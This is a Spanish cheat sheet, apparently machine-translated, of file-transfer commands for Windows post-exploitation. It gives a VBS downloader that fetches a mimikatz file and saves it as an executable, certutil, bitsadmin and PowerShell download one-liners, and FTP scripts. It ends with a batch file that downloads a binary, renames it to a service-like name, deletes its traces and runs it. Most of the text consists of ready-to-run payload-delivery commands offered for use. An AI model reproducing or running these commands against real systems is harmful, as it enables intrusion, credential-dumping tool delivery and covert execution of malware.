Vbs
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","https://raw.githubusercontent.com/shanfenglan/mimikatz/master/mimikatz.sln",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vb
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\2.exe",2 >>download.vbs
Comando de ejecución del script vbs:
wscript download.vbs
certutil
certutil.exe -urlcache -split -f http://ip/test/1.exe c:/1.exe
Comandos SCP
scp es una copia de archivo segura, inicio de sesión basado en ssh
Suponga que desea copiar un archivo llamado a.tar.tz en la computadora local / home a / home / tmp en el servidor remoto 192.168.0.2. Y su nombre de cuenta en el servidor remoto es root. Puedes usar este comando:
scp /home/a.tar.tz [email protected]:/home/tmp/
Si copia archivos desde una máquina remota al directorio actual de la máquina, use este comando:
scp [email protected]: /home/a.tar.tz
Copie los archivos en todo el directorio de la máquina remota
scp -r [email protected]:/home/* ./
Copie todo el directorio de la máquina remota a la carpeta especificada de la máquina local
scp -r [email protected]:/root/123 C:\Users\Admin\Desktop\csdn_increase_vister-master
bitsadmin
bitsadmin /rawreturn /transfer getfile https://raw.githubusercontent.com/shanfenglan/mimikatz/master/mimikatz.sln C:\323.txt
potencia Shell
powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe','C:\Users\31030\Desktop\tools\test\calc.exe')
FTP
echo open 192.168.124.136>>1.txt
echo user administrator 1234>>1.txt
echo get 1.exe>>1.txt
echo bye>>1.txt
echo exit>>1.txt
ftp -i -n -s:"1.txt"
BAT descarga y ejecuta el programa a través de FTP
@echo off
echo open %1%>>ftptmp.bat
echo user %2%>>ftptmp.bat
echo %3%>>ftptmp.bat
echo cd %4%>>ftptmp.bat
echo get %5%>>ftptmp.bat
echo bye>>ftptmp.bat
ftp -i -n -s:ftptmp.bat
rename %5% svcmorne.exe
del *.bat
svcmorne.exe
exit
main.bat 192.168.124.136 administrator 1234 c:/ 1.exe